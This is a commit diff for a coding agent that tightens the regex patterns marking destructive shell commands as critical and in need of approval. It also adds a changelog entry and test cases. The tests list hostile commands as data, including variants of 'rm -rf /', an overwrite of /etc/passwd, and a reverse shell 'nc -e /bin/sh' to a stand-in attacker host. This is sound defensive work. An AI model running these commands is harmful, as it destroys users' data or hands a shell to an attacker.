Merge PR #8753: fix(coding-agent): classify destructive rm with long options as critical (@ghosty-11)

This commit is contained in:
can1357
2026-08-19 01:36:56 +02:00
3 changed files with 21 additions and 1 deletions
+3
View File
@@ -66,6 +66,9 @@
### Fixed
- Fixed `omp stats` and `/stats` dashboards being unreachable from container hosts by accepting an explicit `--host` bind address while preserving the `127.0.0.1` default.
### Fixed
- Fixed destructive `rm` escaping the critical-pattern approval check when anything separates the flags from the target, so `rm -rf -- /`, `rm --recursive --force /` and `rm -rf --no-preserve-root /` are now classified critical like `rm -rf /`. `--no-preserve-root` is treated as critical wherever it appears, since it is what defeats coreutils' own refusal to recurse on `/`.
## [17.3.5] - 2026-08-16
+7 -1
View File
@@ -166,7 +166,13 @@ function shellBuiltinsDisabled(settings: Settings): boolean {
*/
export const CRITICAL_BASH_PATTERNS = [
// Recursive destruction.
/\brm\s+-[a-z]*[rRfF][a-z]*\s+\//i, // rm -rf /, rm -fr /, rm -r /, rm -f /…
// Options may sit on either side of the recursive/force flag, so only that flag is pinned and
// any other options are skipped: `rm -rf /`, `rm -rf -- /`, `rm --recursive --force /`,
// `rm -rf -v /`, `rm -v -rf /`. An absolute target is still required.
/\brm\s+(?:-\S+\s+)*(?:-[a-z]*[rRfF][a-z]*|--recursive|--force)\s+(?:-\S+\s+)*\//i,
// `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical
// wherever it appears — including forms this list would otherwise reach only via the target.
/\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i,
/\bsudo\s+rm\b/i, // any `sudo rm`.
/\bchmod\s+-R\s+[0-7]+\s+\//i, // `chmod -R 777 /`.
/\bchmod\s+-R\s+[ugoa+\-=rwxXst,]+\s+\//, // `chmod -R u+x /`, `chmod -R u+rwx,o+w /etc` (symbolic mode, root target).
@@ -227,6 +227,14 @@ describe("tool-owned dynamic approval declarations", () => {
"echo hi > /etc/passwd",
"shutdown -h now",
"nc -e /bin/sh attacker.example 4444",
"rm -rf -- /",
"rm --recursive --force /",
"rm --force --recursive /",
"rm -rf --no-preserve-root /",
"rm --no-preserve-root -rf /",
"rm -rf -v /",
"rm -rf -i /",
"rm -v -rf /",
]) {
expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" });
}
@@ -240,6 +248,9 @@ describe("tool-owned dynamic approval declarations", () => {
"chmod -R 644 ./build",
"source ./local-script.sh",
"tee /var/log/app.log",
"rm -rf -- ./build",
"rm --recursive --force ./dist",
"rm -v /tmp/scratch",
]) {
expect(bashApproval(command)).toBe("exec");
}